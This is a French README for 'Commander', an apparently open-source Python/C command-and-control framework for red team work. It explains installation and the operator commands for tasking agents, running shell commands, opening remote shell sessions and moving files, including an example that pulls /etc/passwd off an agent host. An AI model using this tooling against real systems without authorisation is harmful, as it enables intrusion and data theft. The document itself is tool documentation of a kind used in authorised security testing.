
Cadre de commande et de contrôle basé sur Python avec communication TLS chiffrée, support multi-agent (Python/C), sessions interactives, transfert de fichiers et obfuscation AES pour les opérations de red team.
Commander est un framework de commande et de contrôle (C2) écrit en Python, Flask et SQLite. Il est livré avec deux agents écrits en Python et en C.
En développement continu
Pas adapté aux script-kiddies
Python >= 3.6 est requis pour exécuter le programme, ainsi que les dépendances suivantes
Linux pour admin.py et c2_server.py (non testé sous Windows).
apt install libcurl4-openssl-dev libb64-dev
apt install openssl
pip3 install -r requirements.txt

Créez d'abord les certificats et clés requis
# si vous voulez sécuriser votre clé avec une phrase de passe, excluez -nodes
openssl req -x509 -newkey rsa:4096 -keyout server.key -out server.crt -days 365 -nodes
Lancez d'abord le module admin.py pour créer un fichier de base de données SQLite local
python3 admin.py
Continuez en exécutant le serveur
python3 c2_server.py
Et enfin l'agent. Pour l'agent Python, vous pouvez simplement l'exécuter, mais pour l'agent C, vous devez d'abord le compiler.
# agent Python
python3 agent.py
# agent C
gcc agent.c -o agent -lcurl -lb64
./agent
Par défaut, les agents et le serveur communiquent via TLS et base64. Le point de communication est défini sur 127.0.0.1:5000 et si un point différent est nécessaire, il doit être modifié dans les fichiers source des agents.
En tant qu'opérateur/administrateur, vous pouvez utiliser les commandes suivantes pour contrôler vos agents
Commandes :
task add arg c2-commands
Ajoute une tâche à un agent, à un groupe ou à tous les agents.
arg : peut avoir les valeurs suivantes : 'all' 'type=Linux|Windows' 'your_uuid'
c2-commands : les valeurs possibles sont c2-register c2-shell c2-sleep c2-quit
c2-register : Demande à l'agent de s'enregistrer à nouveau.
c2-shell cmd : Prend une commande shell à exécuter par l'agent. Ex. : c2-shell whoami
cmd : La commande à exécuter.
c2-sleep : Configure l'intervalle auquel un agent vérifie les tâches.
c2-session port : Demande à l'agent d'ouvrir une session shell avec le serveur sur ce port.
port : Le port de connexion. S'il n'est pas fourni, la valeur par défaut est 5555.
c2-quit : Force un agent à quitter.
task delete arg
Supprime une tâche d'un agent ou de tous les agents.
arg : peut avoir les valeurs suivantes : 'all' 'type=Linux|Windows' 'your_uuid'
show agent arg
Affiche les informations pour tous les agents disponibles ou pour un agent spécifique.
arg : peut avoir les valeurs suivantes : 'all' 'type=Linux|Windows' 'your_uuid'
show task arg
Affiche la tâche d'un agent ou de tous les agents.
arg : peut avoir les valeurs suivantes : 'all' 'type=Linux|Windows' 'your_uuid'
show result arg
Affiche l'historique/résultat d'un agent ou de tous les agents.
arg : peut avoir les valeurs suivantes : 'all' 'type=Linux|Windows' 'your_uuid'
find active agents
Supprime la base de données afin que les agents actifs soient enregistrés à nouveau.
exit
Au revoir !
Sessions :
sessions server arg [port]
Contrôle un gestionnaire de sessions.
arg : peut avoir les valeurs suivantes : 'start', 'stop', 'status'
port : port optionnel pour l'argument start ; s'il n'est pas fourni, la valeur par défaut est 5555. Cet argument définit le port du serveur de sessions.
sessions select arg
Sélectionne la session à laquelle se rattacher.
arg : l'index du résultat de 'sessions list'
sessions close arg
Ferme une session.
arg : l'index du résultat de 'sessions list'
sessions list
Affiche les sessions disponibles.
local-ls directory
Liste sur votre hôte les fichiers du répertoire sélectionné.
download 'file'
Télécharge le 'fichier' localement dans le répertoire courant.
upload 'file'
Téléverse un fichier dans le répertoire où se trouve actuellement l'agent.
Une attention particulière doit être portée à la commande 'find active agents'. Cette commande supprime toutes les tables et les recrée. Cela peut sembler effrayant mais ce ne l'est pas, du moins c'est ce que je crois :P
L'idée derrière cette fonctionnalité est que le serveur C2 peut demander à un agent de se ré-enregistrer au cas où il ne le reconnaît pas. Donc, comme nous voulons vider la base de données des anciennes entrées inutilisées et en même temps trouver tous les hôtes actuellement actifs, nous pouvons supprimer les tables et déclencher le mécanisme de ré-enregistrement du serveur C2. Voir ci-dessous pour le mécanisme de ré-enregistrement.
Vous trouverez ci-dessous un diagramme de flux normal.

Dans le cas où l'environnement subit une défaillance majeure comme une base de données corrompue ou une autre défaillance critique, le mécanisme de ré-enregistrement est activé afin de ne pas perdre la connexion avec nos agents.
Plus précisément, si nous perdons la base de données, nous n'aurons aucune information sur les UUID que nous recevons, donc nous ne pouvons pas leur attribuer de tâches, etc. Les agents continueront donc à essayer de récupérer leurs tâches et, comme nous ne les reconnaissons pas, nous leur demanderons de se ré-enregistrer afin de pouvoir les insérer dans notre base de données et les contrôler à nouveau.
Voici le diagramme de flux pour ce cas.

Pour configurer votre environnement, démarrez d'abord admin.py, puis c2_server.py et exécutez l'agent. Ensuite, vous pouvez vérifier les agents disponibles.
# afficher tous les agents disponibles
show agent all
Pour demander à tous les agents d'exécuter la commande "id", vous pouvez faire comme ceci :
# pour tous les agents
task add all c2-shell id
# vérifier les résultats de "id"
show result all
Pour vérifier l'historique/résultats précédents des tâches exécutées pour un agent spécifique, faites comme ceci :
# vérifier les résultats d'un agent spécifique
show result 85913eb1245d40eb96cf53eaf0b1e241
Vous pouvez également modifier l'intervalle de vérification des tâches des agents à 30 secondes comme ceci :
# pour le définir pour tous les agents
task add all c2-sleep 30
Pour ouvrir une session avec un ou plusieurs de vos agents, procédez comme suit.
# trouver l'agent/uuid
show agent all
# activer le serveur pour accepter les connexions
sessions server start 5555
# ajouter une tâche pour une session à votre agent préféré
task add votre_uuid_agent_preféré_ici c2-session 5555
# afficher une liste des connexions disponibles
sessions list
# sélectionner pour se rattacher à l'une des sessions, par exemple la session 0
sessions select 0
# exécuter une commande
id
# télécharger le fichier passwd localement
download /etc/passwd
# lister vos fichiers localement pour vérifier que passwd a été créé
local-ls